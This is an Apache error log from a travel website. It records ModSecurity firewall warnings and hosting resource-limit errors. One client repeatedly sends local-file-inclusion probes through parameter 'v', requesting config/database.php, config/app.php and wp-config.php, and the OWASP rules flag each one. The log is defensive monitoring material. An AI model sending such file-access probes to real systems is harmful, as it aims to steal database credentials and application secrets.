[Fri Jul 17 08:55:44.833728 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguI1dLClkUfK_dfHk4gAAAAI"]
[Fri Jul 17 08:55:44.845904 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtxJ0z2bEtnOrIXVAWwAAAAk"]
[Fri Jul 17 08:55:44.858672 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: gvm12/config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguEgVnBK6wAv37w6scQAAABQ"]
[Fri Jul 17 08:55:44.859300 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguEgVnBK6wAv37w6scQAAABQ"]
[Fri Jul 17 08:55:44.870856 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguBAi3pC6yjXGNq2AlgAAAAU"]
[Fri Jul 17 08:55:44.871492 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguBAi3pC6yjXGNq2AlgAAAAU"]
[Fri Jul 17 08:55:44.871667 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.871821 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguBAi3pC6yjXGNq2AlgAAAAU"]
[Fri Jul 17 08:55:44.884901 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.886539 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.892430 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.899585 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: zeh8m/config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguBJ0z2bEtnOrIXVAXAAAAAk"]
[Fri Jul 17 08:55:44.900264 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almguBJ0z2bEtnOrIXVAXAAAAAk"]
[Fri Jul 17 08:55:44.900391 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.900691 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguBJ0z2bEtnOrIXVAXAAAAAk"]
[Fri Jul 17 08:55:44.916489 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.934963 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.936777 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.938536 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.939969 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.962610 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.985501 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.993245 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.002555 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.007899 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.024576 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.041918 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: b82xd/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguRJ0z2bEtnOrIXVAXgAAAAk"]
[Fri Jul 17 08:55:45.042513 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguRJ0z2bEtnOrIXVAXgAAAAk"]
[Fri Jul 17 08:55:45.042671 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.042845 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguRJ0z2bEtnOrIXVAXgAAAAk"]
[Fri Jul 17 08:55:45.055876 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguRAi3pC6yjXGNq2AmQAAAAU"]
[Fri Jul 17 08:55:45.061027 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguRAi3pC6yjXGNq2AmQAAAAU"]
[Fri Jul 17 08:55:45.065079 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: 3mtjz/config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguV1_86A5R6msWNfUgQAAABI"]
[Fri Jul 17 08:55:45.065977 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguV1_86A5R6msWNfUgQAAABI"]
[Fri Jul 17 08:55:45.066196 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.066430 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguV1_86A5R6msWNfUgQAAABI"]
[Fri Jul 17 08:55:45.068754 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguVh1WDijTxd1xw5MYQAAAAc"]
[Fri Jul 17 08:55:45.069687 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguVh1WDijTxd1xw5MYQAAAAc"]
[Fri Jul 17 08:55:45.069889 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.070138 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguVh1WDijTxd1xw5MYQAAAAc"]
[Fri Jul 17 08:55:45.070656 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.070856 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguRAi3pC6yjXGNq2AmQAAAAU"]
[Fri Jul 17 08:55:45.086927 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: 5k2k7/config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguY1dLClkUfK_dfHk5gAAAAI"]
[Fri Jul 17 08:55:45.087842 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguY1dLClkUfK_dfHk5gAAAAI"]
[Fri Jul 17 08:55:45.088082 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:45.088390 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguY1dLClkUfK_dfHk5gAAAAI"]
[Fri Jul 17 08:55:45.104482 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/login"] [unique_id "almguQRRrtuZqNDDSqWwNgAAABo"]
